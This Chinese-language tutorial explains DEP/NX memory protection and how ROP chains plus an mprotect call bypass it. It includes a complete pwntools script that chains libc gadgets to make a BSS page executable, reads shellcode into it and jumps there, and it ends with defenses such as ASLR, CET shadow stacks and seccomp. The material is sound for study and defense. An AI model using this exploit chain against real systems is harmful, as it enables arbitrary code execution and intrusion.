现代缓解机制击破(三):DEP/NX 机制与 ROP/mprotect 内存可执行转化

封面信息图

在早期的二进制安全攻防中,攻击者一旦发现缓冲区溢出(Stack Buffer Overflow)漏洞,只需将精心构造的机器码(Shellcode)直接写入栈空间,并覆写函数返回地址指向该栈内存,即可夺取控制权。

为了终结这种攻击,硬件厂商与操作系统引入了数据执行保护(DEP / Data Execution Prevention,Linux 下通常称为 NX,No-Execute)。

DEP/NX 机制的核心实现:W^X 原则

DEP/NX 依赖现代 CPU 的硬件 MMU(内存管理单元)中的 NX/XD(No-Execute / Execute-Disable)位支持。

在操作系统的虚拟内存管理中,内存页表项(PTE)增加了一个执行权限位。系统遵循严格的 $W \oplus X$(Write XOR Execute,即“可写不可执行,可执行不可写”) 规则:

  • 代码段(.text):具备读与执行权限(PROT_READ | PROT_EXEC),不可写。
  • 数据段/堆/栈(.data, .bss, Heap, Stack):具备读与写权限(PROT_READ | PROT_WRITE),不可执行。

当 CPU 的指令指针寄存器(RIP/EIP)试图跳转并读取标记为不可执行的栈或堆内存执行机器码时,MMU 会立即触发硬件页错误异常,内核向该进程发送 SIGSEGV 信号直接终止程序。

绕过思路:ROP 链与 mprotect 属性转换

既然无法直接在栈上运行代码,攻击者演进出了两类核心对抗策略:

  1. 纯代码复用攻击(Code Reuse Attack / ROP):利用程序自身或已加载动态库(如 libc)中现成的代码片段(Gadget,以 ret 指令结尾的汇编指令序列),通过连续构造栈帧,串联完成系统调用(如 execve("/bin/sh", 0, 0))。
  2. 内存属性动态修改(mprotect 转换法):利用 ROP 链调用 Linux 系统的 mprotect 系统调用,将一块我们可写入受控数据的内存区域(如 BSS 段或固定地址的堆栈页)重新赋予 PROT_READ | PROT_WRITE | PROT_EXEC(可读、可写、可执行)权限,随后直接将程序流跳转到该内存段。

Linux x86_64 下的 mprotect 系统调用规范

int mprotect(void *addr, size_t len, int prot);
  • addr:必须对齐到内存页大小(Page Aligned,通常是 4096 字节倍数,即低 12 位必须为 0x000)。
  • len:需要修改属性的内存长度(例如 0x1000)。
  • prot:期望的目标权限位,PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4) = 7

根据 System V AMD64 调用约定,前三个函数参数分别通过寄存器传递:

  • 第 1 参数 -> RDI
  • 第 2 参数 -> RSI
  • 第 3 参数 -> RDX

因此,我们需要在二进制文件中搜索对应的 Gadget:

  • pop rdi; ret
  • pop rsi; ret
  • pop rdx; ret(或 pop rdx; pop r12; ret

ROP 构造与 mprotect 内存转换脚本分析

下面通过一个典型的 Python Pwntools 脚本,完整展示如何搜寻 Gadget 并串联 ROP 链以执行 mprotect 属性修改:

from pwn import *

# 设定目标环境与架构
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

# 加载本地 ELF 目标
elf = ELF('./vulnerable_app')
# 假设已知目标已泄露 libc 基址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = 0x7ffff79e2000
libc.address = libc_base

# 目标内存段信息(选取 BSS 段的一页并进行页对齐)
bss_addr = elf.bss()
target_page = bss_addr & ~0xFFF  # 4KB 页对齐
page_size = 0x1000
prot_rwx = 7                     # PROT_READ | PROT_WRITE | PROT_EXEC

log.info(f"BSS 虚拟地址: {hex(bss_addr)}")
log.info(f"页对齐修改起始地址: {hex(target_page)}")

# 搜寻 Gadget 地址
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
mprotect_addr = libc.symbols['mprotect']
read_addr = libc.symbols['read']

log.info(f"Gadget pop rdi: {hex(pop_rdi)}")
log.info(f"mprotect 函数地址: {hex(mprotect_addr)}")

# 构造 ROP Payload
# 1. 填充缓冲区至返回地址(假设偏移量为 72 字节)
offset = 72
payload = b'A' * offset

# 2. 构造第 1 阶段 ROP:调用 mprotect(target_page, page_size, 7)
payload += p64(pop_rdi)
payload += p64(target_page)
payload += p64(pop_rsi)
payload += p64(page_size)
payload += p64(pop_rdx)
payload += p64(prot_rwx)
payload += p64(0)          # 填充 pop r12
payload += p64(mprotect_addr)

# 3. 构造第 2 阶段 ROP:调用 read(0, target_page, 0x100) 将 Shellcode 写入该可执行页
payload += p64(pop_rdi)
payload += p64(0)          # fd = 0 (stdin)
payload += p64(pop_rsi)
payload += p64(target_page)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(0)          # 填充 pop r12
payload += p64(read_addr)

# 4. 构造第 3 阶段 ROP:直接返回执行写入的 target_page
payload += p64(target_page)

log.success(f"ROP Chain 构造完毕,总长度: {len(payload)} 字节")

防御加固与深层缓解措施

仅靠 DEP/NX 无法完全防御控制流劫持,现代防御体系采用了纵深防御组合拳:

  1. 全地址空间随机化(Full ASLR / PIE):将代码段、数据段、堆栈以及共享库的加载基址全部随机化,使攻击者无法静态硬编码 Gadget 虚拟地址。
  2. 控制流完整性保护(CFI & Intel CET)
    • 编译器启用 Clang -fsanitize=cfi
    • 硬件级影子栈(Shadow Stack / Intel CET):在硬件层面维护不可篡改的返回地址栈,ret 指令执行时如果返回地址与影子栈不一致,立即由 CPU 硬件抛出 Control Protection Fault(#CP)。
  3. 增强型 Seccomp 沙箱过滤:在应用完成初始化后,通过 seccomp-bpf 限制进程只能调用特定的白名单系统调用,严格禁止在运行时调用 mprotect 或限制 mprotect 不能将内存页标记为可执行。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐